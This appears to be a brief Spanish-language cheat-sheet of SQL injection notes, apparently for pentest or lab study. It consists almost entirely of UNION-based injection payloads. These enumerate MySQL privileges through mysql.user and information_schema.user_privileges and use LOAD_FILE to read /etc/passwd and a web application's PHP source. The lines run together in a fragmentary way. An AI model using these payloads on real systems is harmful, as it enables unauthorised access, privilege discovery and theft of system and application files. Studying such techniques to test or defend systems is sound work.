Usando logica de la query:

Usando comentarios


Privilegios:
select super_priv from mysql.user;‘ UNION SELECT 1,super_priv,3,4 FROM mysql.user—‘ UNION SELECT 1,super_priv,3,4 FROM mysql.user WHERE user="" —UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -PRIVILEGIOS LOAD FILE
SELECT LOAD_FILE(’/etc/passwd’)cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -